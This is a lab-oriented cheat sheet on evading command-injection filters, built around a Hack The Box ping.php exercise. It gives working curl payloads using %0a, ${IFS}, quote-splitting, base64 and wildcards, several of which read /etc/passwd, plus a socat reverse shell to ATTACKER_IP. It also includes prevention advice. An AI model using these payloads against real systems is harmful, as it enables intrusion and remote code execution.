WEB ^: Web

Command Injection — Filter Bypass

Bypassing command-injection filters: space, blacklisted-character and blacklisted-command evasion, plus advanced obfuscation.

intermediate updated 2026-08-28 socat · PowerShell

Command Injection — Filter Bypass Cheat Sheet

Summary

Command injection happens when attacker-controlled input reaches an operating-system shell call such as shell_exec(), system(), exec(), passthru(), or a back-tick execution, without proper validation. The reliable workflow is to confirm the sink executes a shell command, append an injection operator, then peel back each filter layer one character at a time. This sheet maps the whole Hack The Box Command Injections module: detection, operators, space filters, blacklisted characters, blacklisted commands, advanced obfuscation, evasion tooling, and the socat reverse-shell escape used against the INLANEFREIGHT ping.php endpoint. Read the source of the vulnerable script wherever possible, because guessing blind against a blacklist wastes far more time than reading the filter.

[!danger]+ Authorisation Boundary

  1. Use these payloads only against Hack The Box, intentionally vulnerable labs, or systems you own and are explicitly authorised to test.
  2. Command injection yields real operating-system code execution. Treat every payload as production-dangerous.
  3. Reverse shells and pivots cross network boundaries. Stay inside the documented scope, and tear down listeners and relays when the exercise ends.

Conceptual Information

The mental model

An injectable endpoint concatenates your input into a shell string. If the backend runs something like bash -c 'ping -c 1 <your_input>', then anything that terminates the ping argument and starts a new command runs on the host. Filters try to stop this by blacklisting operators, spaces, characters, and command names. Every filter has a bypass, because shells offer many equivalent ways to express the same instruction.

[!info]+ Vulnerable PHP sinks to look for

  1. system(), exec(), shell_exec(), passthru(), popen(), proc_open(), and back-ticks in PHP.
  2. os.system(), subprocess.* with shell=True, and eval in Python.
  3. Runtime.exec() and ProcessBuilder in Java, child_process.exec() in Node.js.
  4. Any parameter whose value ends up as a hostname, filename, IP, or option that the server then shells out with.

Injection operators

These operators chain a second command onto the intended one. The new-line character is the star of the show, because it is rarely blacklisted (payloads legitimately need it) yet works as a separator on both Linux and Windows.

OperatorURL-encodedExecutesNotes
;%3bBoth commands sequentiallyNot valid in Windows CMD, works in PowerShell
\n (new-line)%0aBoth commandsBest first choice, rarely blacklisted
&%26Both, output may interleaveBackground operator
&&%26%26Second only if first succeedsAND
|%7cSecond only, first output discardedPipe
||%7c%7cSecond only if first failsOR
` `%60Command substitution (Linux)Legacy back-ticks
$( )%24%28%29Command substitution (Linux)Modern substitution

[!tip]+ Why new-line wins

  1. A blacklist that blocks ;, &, and \| still usually lets %0a through, because the developer needs new-lines elsewhere in the request body.
  2. The new-line both terminates the first command and begins yours, so 127.0.0.1%0aid conceptually becomes two lines: ping -c 1 127.0.0.1 then id.

Detection & Filter Identification

Step 1 — Confirm the sink shells out

Send the intended value and a chained operator, then compare responses. A successful ping plus extra output, a timing difference, or an error that leaks a shell message all indicate a shell call.

# Baseline: normal behaviour
curl "http://target/ping.php?ip=127.0.0.1"

# Probe: append an operator + command
curl "http://target/ping.php?ip=127.0.0.1;id"
curl "http://target/ping.php?ip=127.0.0.1%0aid"

[!info]+ What each response tells you

  1. Invalid input on ; but success on %0a: an operator blacklist exists, new-line is allowed.
  2. Ping runs but no id output: the operator was accepted but a later filter (space, word) stripped or rejected the injected command.
  3. Blank or 500 error: input may have broken the shell string. Adjust quoting.

Step 2 — Read the filter if you can

The single biggest time-saver is dumping the script source once you have any execution, so you stop guessing. In the INLANEFREIGHT lab the filter blacklist is visible directly in ping.php.

<?php
function filter($str)
{
  $operators = ['&', '|', ';', '\\', '/', ' '];
  foreach ($operators as $operator) {
    if (strpos($str, $operator)) { return true; }
  }
  $words = ['whoami', 'echo', 'rm', 'mv', 'cp', 'id', 'curl', 'wget', 'cd',
            'sudo', 'mkdir', 'man', 'history', 'ln', 'grep', 'pwd', 'file',
            'find', 'kill', 'ps', 'uname', 'hostname', 'date', 'uptime',
            'lsof', 'ifconfig', 'ipconfig', 'ip', 'tail', 'netstat', 'tar',
            'apt', 'ssh', 'scp', 'less', 'more', 'awk', 'head', 'sed',
            'nc', 'netcat'];
  foreach ($words as $word) {
    if (strpos($str, $word) !== false) { return true; }
  }
  return false;
}
if (isset($_GET['ip'])) {
  $ip = $_GET['ip'];
  if (filter($ip)) { $output = "Invalid input"; }
  else { $cmd = "bash -c 'ping -c 1 " . $ip . "'"; $output = shell_exec($cmd); }
}
?>

[!warning]+ Two subtle filter bugs to exploit

  1. Operator check uses strpos() truthiness: if (strpos($str, $operator)) treats position 0 as false. A blacklisted operator sitting at the very start of the string slips through, though that rarely helps here since our injection follows the IP.
  2. The command is wrapped in single quotes: bash -c 'ping -c 1 <input>'. That wrapper is exactly why splitting command names with single quotes works, see below.
  3. ip is blacklisted as a word, so ifconfig and ip a are blocked, but we bypass this by splitting characters.

Bypassing Space Filters

The space is the most commonly blacklisted character, because a valid IP never needs one. There are many space-free substitutes.

TechniquePayload fragmentWorks onNotes
Tab%09Linux + WindowsShells treat tabs as argument separators
${IFS}${IFS}Linux (bash/sh)Default IFS is space + tab + new-line
$IFS$9$IFS$9Linux$9 is an empty positional arg, ends the var name cleanly
Brace expansion{ls,-la}Linux (bash)Braces auto-insert spaces between elements
Input redirection< and <>Linuxcat<file reads without a space
Windows %IFS%not validWindowsUse , in some CMD contexts instead
# All of these run "ping -c 1 127.0.0.1" then the injected command, space-free

# Tab as separator
curl "http://target/ping.php?ip=127.0.0.1%0a%09id"

# IFS environment variable
curl "http://target/ping.php?ip=127.0.0.1%0a${IFS}id"          # URL: %0a%24%7bIFS%7did

# IFS with positional-arg terminator
curl "http://target/ping.php?ip=127.0.0.1%0acat$IFS$9/etc/passwd"

# Brace expansion (no spaces inside braces)
curl "http://target/ping.php?ip=127.0.0.1%0a{cat,/etc/passwd}"

[!info]+ How ${IFS} bypasses the space

  1. IFS is the Internal Field Separator, and its default value contains a space and a tab.
  2. When bash expands cat${IFS}/etc/passwd, the variable resolves to a space, so the executed command is cat /etc/passwd with no literal space ever in the request.
  3. ${IFS} renders in the source string as no space, so a ' ' blacklist never triggers.

[!tip]+ Brace expansion in one line

  1. {ls,-la} expands to ls -la, {cat,file} expands to cat file.
  2. Great when both spaces and specific commands are filtered, because you can also split names, e.g. {c'a't,file}.
  3. See PayloadsAllTheThings — Bypass without space.

Bypassing Other Blacklisted Characters

When slashes, semicolons, or other characters are filtered, pull them out of shell environment variables using substring expansion, so the literal character never appears in your input.

Character neededExtraction trickExpands to
/ (slash)${PATH:0:1}First char of PATH, which is /
; (semicolon)${LS_COLORS:10:1}A ; from the colours string
\ (backslash)${HOME:0:1} on some hostsDepends on the variable
Any literal$(printf '\<octal>')Printf-decoded byte
# Read /etc/passwd without ever typing a slash
curl "http://target/ping.php?ip=127.0.0.1%0acat${IFS}${PATH:0:1}etc${PATH:0:1}passwd"

# Semicolon pulled from LS_COLORS (index varies per host, enumerate it)
curl "http://target/ping.php?ip=127.0.0.1%0a\$(echo${IFS}\${LS_COLORS:10:1})"

[!info]+ Substring expansion syntax

  1. ${VARIABLE:offset:length} returns a slice of the variable’s value.
  2. ${PATH:0:1} is the classic slash generator, because PATH almost always begins with /usr/....
  3. Enumerate a host’s variables first (printenv if available, or ${VAR} echoes) so you know which indices give which characters.

[!tip]+ Character shifting with tr and printf

  1. $(tr '!-}' '"-~'<<<'gvzk') shifts each character up by one ASCII value, decoding an obfuscated word at runtime.
  2. printf with octal escapes reconstructs any byte, e.g. $(printf '\57') yields /.

Bypassing Blacklisted Commands

Word blacklists match the exact string, so break the command name apart with characters the shell ignores at execution time. The key insight against ping.php: the command runs inside bash -c '...', so single quotes inside the argument are removed by bash before execution.

TechniqueExampleRuns asWhy it works
Single-quote split'w'h'o'am'i'whoamiBash strips the empty quote pairs
Double-quote splitw"h"o"a"m"i"whoamiSame, quotes are removed at parse time
Backslash splitw\ho\am\iwhoamiBackslash before a normal char is dropped
$@ insertionwho$@amiwhoami$@ expands to nothing
Positional ${x}who${x}amiwhoamiUnset var expands to empty
Case + tr$(tr A-Z a-z<<<WhOaMi)whoamiLowercase at runtime
# The canonical INLANEFREIGHT bypass: 'i'd defeats the "id" word filter
curl "http://target/ping.php?ip=127.0.0.1%0a'i'd"

# ifconfig, split so the blacklisted "if"/"ip" fragments never appear whole
curl "http://target/ping.php?ip=127.0.0.1%0a'i'fconfig"

# which socat, combining char-split + IFS for the space
curl "http://target/ping.php?ip=127.0.0.1%0a'w'h'i'ch${IFS}socat"

# cat the source with char-split + IFS
curl "http://target/ping.php?ip=127.0.0.1%0a'c'at${IFS}ping.php"

[!success]+ Confirmed execution on the lab

uid=1004(webdev) gid=1004(webdev) groups=1004(webdev),4(adm)
  1. The id output proves code execution as the webdev user.
  2. ifconfig reveals a second interface ens192: 172.16.8.120/23, placing the host inside the 172.16.8.0/23 internal scope, a pivot opportunity into the Active Directory domain.

[!info]+ Why quote-splitting beats the word filter

  1. strpos($str, 'id') looks for the literal two-byte string id. 'i'd contains i, ', ', d, never the contiguous id, so the check returns false.
  2. Bash, executing bash -c 'ping -c 1 127.0.0.1\n'i'd', removes the quote pairs and runs id.
  3. The same logic defeats every entry in the word list, split any two adjacent characters and the substring match fails.

Advanced Command Obfuscation

For heavier WAFs or case-insensitive filters, obfuscate so the payload does not resemble any known command even after simple normalisation.

MethodPayloadDecodes to
Case toggling (Windows/PS)WhOaMiwhoami (case-insensitive on Win)
Case fix via tr$(a="WHOAMI";tr${IFS}'A-Z'${IFS}'a-z'<<<"$a")whoami
Reversed command$(rev<<<'imaohw')whoami
Base64 decode + execbash<<<$(base64${IFS}-d<<<'d2hvYW1p')whoami
Wildcards/???/??t /???/p??s??/bin/cat /etc/passwd (glob match)
# Reverse the string at runtime
curl "http://target/ping.php?ip=127.0.0.1%0a$(rev<<<'imaohw')"

# Base64-encode the whole command, decode and pipe to bash
echo -n 'id' | base64                       # -> aWQ=
curl "http://target/ping.php?ip=127.0.0.1%0abash<<<$(base64${IFS}-d<<<aWQ=)"

# Wildcard path so no full binary name is written
curl "http://target/ping.php?ip=127.0.0.1%0a/???/c?t${IFS}/etc/passwd"

[!tip]+ Layer the techniques

  1. Combine operator + space bypass + name split + encoding when a filter chains several checks, e.g. %0abash<<<$(base64${IFS}-d<<<...).
  2. Wildcards (? single char, * any run) let you invoke binaries whose names are blacklisted, since the shell resolves the glob after the filter has already passed the request.

Evasion Tools

Hand-crafting obfuscation is slow. These generators produce filter-evading payloads automatically.

[!info]+ Bashfuscator Overview

Configurable Bash command obfuscation framework for Linux targets.

  1. ./bashfuscator -c 'cat /etc/passwd' emits an obfuscated one-liner.
  2. -s 1 -t 1 --no-mangling tunes obfuscation layers and size for readability or evasion.
  3. Output can be very long, so test it fits the parameter length the endpoint accepts.

[!info]+ DOSfuscation Overview

Invoke-DOSfuscation obfuscates Windows CMD and PowerShell payloads.

  1. Handles case toggling, char insertion, and environment-variable substring tricks for Windows.
  2. Use Invoke-DOSfuscation then SET COMMAND/ENCODING inside its interactive menu.

[!tip]+ Manual toolkit to keep handy

  1. PayloadsAllTheThings — Command Injection is the reference payload library.
  2. Burp Suite Intruder loaded with a variation wordlist (see the companion Python generator) sprays candidates and highlights which return a non-Invalid input response.

From RCE to Reverse Shell — the socat escape

Single commands run, but anything with a space breaks unless bypassed, and most shell binaries (nc, bash, ssh) are blacklisted. On the INLANEFREIGHT host socat survives the filter and is present at /usr/bin/socat.

# Confirm socat exists (which is blacklisted as a word, so split it)
curl "http://target/ping.php?ip=127.0.0.1%0a'w'h'i'ch${IFS}socat"
# -> /usr/bin/socat
# Attacker: start the socat listener with a full TTY handler
socat -d -d TCP4-LISTEN:4444,fork,reuseaddr FILE:`tty`,raw,echo=0
# Target (via injection): connect back with an interactive bash
# Spaces replaced by ${IFS}, socat name intact (not word-filtered whole)
curl "http://target/ping.php?ip=127.0.0.1%0asocat${IFS}TCP4:ATTACKER_IP:4444${IFS}EXEC:bash,pty,stderr,setsid,sigint,sane"

[!warning]+ Filter-safe reverse shell notes

  1. Every space in the socat command must be ${IFS} or %09, or the space blacklist rejects the request.
  2. If socat is caught by a later word filter, split it: so'c'at or s${x}ocat.
  3. EXEC:bash,pty,stderr,setsid,sigint,sane gives a fully interactive PTY, far better than a dumb nc shell for pivoting into the 172.16.8.0/23 network.

[!tip]+ Grab the source first

  1. Before brute-forcing a shell, cat the vulnerable script ('c'at${IFS}ping.php) so you know the exact blacklist and can craft a one-shot payload instead of dozens of failed guesses.

Prevention

[!important]+ How to actually fix this

  1. Never pass user input to a shell. Use language-native APIs, e.g. a raw socket ping or a library, instead of shell_exec("ping ...").
  2. If a shell call is unavoidable, use parameterised execution that separates the command from its arguments (execve-style, no bash -c), so input can never become a new command.
  3. Allowlist, do not blacklist. Validate against a strict pattern, e.g. an IP regex ^\d{1,3}(\.\d{1,3}){3}$, and reject everything else. Blacklists always lose to obfuscation.
  4. Run the web service as a low-privilege user in a locked-down container, and drop outbound network egress so a reverse shell cannot phone home.

Quick Reference — Bypass Chains

Filter hitFastest bypassExample
Operator (; | &) blockednew-line127.0.0.1%0aid
Space blocked${IFS} / tab / {a,b}cat${IFS}/etc/passwd
Slash blocked${PATH:0:1}cat${IFS}${PATH:0:1}etc${PATH:0:1}passwd
Command name blockedquote/char split'w'h'o'am'i'
Case-insensitive WAFreverse / base64bash<<<$(base64${IFS}-d<<<aWQ=)
Binary name blockedwildcards/???/c?t${IFS}/etc/passwd
Need a shellsocat + ${IFS}socat${IFS}TCP4:IP:4444${IFS}EXEC:bash,pty,...

Lessons Learned

  1. The new-line operator %0a beats operator blacklists almost every time, because developers cannot fully ban it. Always try it first.
  2. Reading the filter source turns a guessing game into an engineering task. Any early RCE should be spent cat-ing the vulnerable script before anything else.
  3. Filters compose, so bypasses compose. A single request often needs an operator bypass, a space bypass, and a command-name bypass stacked together.
  4. ${IFS} for spaces and single-quote splitting for names are the two highest-value tricks for the CPTS-style labs, learn them cold.
  5. Blacklists are structurally doomed. When you write the fix, allowlist a strict input pattern and avoid the shell entirely.

References

  1. HTB Academy — Command Injections module
  2. PayloadsAllTheThings — Command Injection
  3. OWASP — Command Injection
  4. MITRE ATT&CK — Command and Scripting Interpreter (T1059)
  5. Bashfuscator
  6. Invoke-DOSfuscation
  7. socat man page